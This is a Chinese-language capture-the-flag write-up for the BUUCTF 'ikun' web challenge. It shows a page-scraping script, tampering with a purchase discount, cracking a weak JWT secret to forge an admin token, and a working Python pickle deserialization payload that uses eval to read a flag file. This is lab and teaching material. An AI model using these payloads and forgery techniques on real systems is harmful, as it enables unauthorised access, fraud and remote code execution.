BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_抓包

 

 发现有登录选项,注册并进入

题目提示要买到ipv6,那就必须先找到ipv6的所在页面

脚本跑



import threading
import time

import requests


def go(st, ed):
for i in range(st, ed):
url = 'http://9526ee81-7bfb-418c-a200-3834e974a35e.node4.buuoj.cn:81/shop?page='
url += str(i)
r = requests.get(url, timeout=2)
if 'lv6.png' in r.text:
print(r.url)
time.sleep(0.1)


if __name__ == '__main__':
threads = []
for i in range(0, 10):
t = threading.Thread(target=go, args=(i * 20, (i + 1) * 20))
threads.append(t)

for item in threads:
item.start()


 

发现是第181页,看到ipv6,但是我们买不起,那就抓包看一下

抓包后,发现可以修改折扣,修改一下,回包

BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_序列化_02

 

 

给了一个网址

去访问

 BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_抓包_03

 

 

提示只允许admin访问,再去抓包看看有什么

 BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_序列化_04

 

 

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZCJ9.BObCLjOjhd5VP8Ji2nhYaqzp01yT6KhkzQA2oY8FirA;

Base64编码过,去解码得到

 BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_抓包_05

 

 

后边解码不出来因为经过了sha256加密,需要破解key

利用破解工具,解密

 BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_序列化_06

 

 

得到秘钥:1Kun

去破解网址构造新的JWT

网址:​​https://jwt.io/​

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

然后放包,看到我们已经成为大会员

BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_压缩包_07

 

 

在源码里我们可以找到一个压缩包,先下载下来

然后找到反序列化admin.py,有漏洞,用脚本构造become

注意需要用python2



import pickle

import urllib



class payload(object):

def __reduce__(self):

return (eval, ("open('/flag.txt','r').read()",))



a = pickle.dumps(payload()) #序列化

a = urllib.quote(a) #进行url编码

print a


然后构造playload

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

得到flag

 BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun_压缩包_08